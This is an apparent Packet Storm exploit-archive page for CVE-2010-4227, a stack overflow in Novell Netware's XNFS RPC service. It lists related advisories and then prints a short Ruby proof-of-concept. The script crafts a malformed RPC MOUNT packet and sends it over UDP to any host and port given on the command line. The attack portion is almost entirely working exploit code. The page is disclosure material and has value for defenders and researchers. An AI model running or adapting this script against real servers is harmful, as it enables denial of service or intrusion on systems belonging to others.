Novell Netware RPC XNFS xdrDecodeString Code Execution

🗓️ 24 Feb 2011 00:00:00Reported by Francis ProvencherType

packetstorm🔗 packetstormsecurity.com👁 30 Views

Novell Netware RPC XNFS xdrDecodeString Code Executio

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2010-4227	24 Feb 201100:00	–	circl
Check Point Advisories	Novell Netware XNFS.NLM Stack Buffer Overflow (CVE-2010-4227)	7 Jun 201100:00	–	checkpoint_advisories
CVE	CVE-2010-4227	25 Feb 201118:00	–	cve
Cvelist	CVE-2010-4227	25 Feb 201118:00	–	cvelist
NVD	CVE-2010-4227	25 Feb 201119:00	–	nvd
Prion	Stack overflow	25 Feb 201119:00	–	prion
securityvulns	ZDI-11-090: Novell Netware RPC XNFS xdrDecodeString Remote Code Execution Vulnerability	24 Feb 201100:00	–	securityvulns
securityvulns	Novell Netware integer overflow	24 Feb 201100:00	–	securityvulns
Zero Day Initiative	Novell Netware RPC XNFS xdrDecodeString Remote Code Execution Vulnerability	18 Feb 201100:00	–	zdi

`#!/usr/bin/ruby  
  
# Source:  
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24  
  
require 'socket'  
  
netware_server = (ARGV[0])  
target_port = (ARGV[1] || 1234)  
  
  
beepbeep=  
"\x1c\xd1\xef\xab" + # XID  
"\x00\x00\x00\x00" + # Message Type: Call (0)  
"\x00\x00\x00\x02" + # RPC Version: 2  
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT  
"\x00\x00\x00\x02" + # Program Version: 2  
"\x00\x00\x00\x01" + # Procedure: MNT (1)  
"\x00\x00\x00\x00\x00\x00\x00\x00" + #  
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL  
"\x41\x42\x43\x44"  
  
  
  
  
puts "[+] beep beep\n"  
puts "[+]No, it's not the road runner\n"  
  
  
if (!(netware_server && target_port))  
puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"  
exit  
else  
puts "[+]Sending UDP Packet...\n"  
sock = UDPSocket.open  
sock.connect(netware_server, target_port.to_i)  
sock.send(beepbeep, 0)  
end  
  
`

24 Feb 2011 00:00Current

EPSS0.38452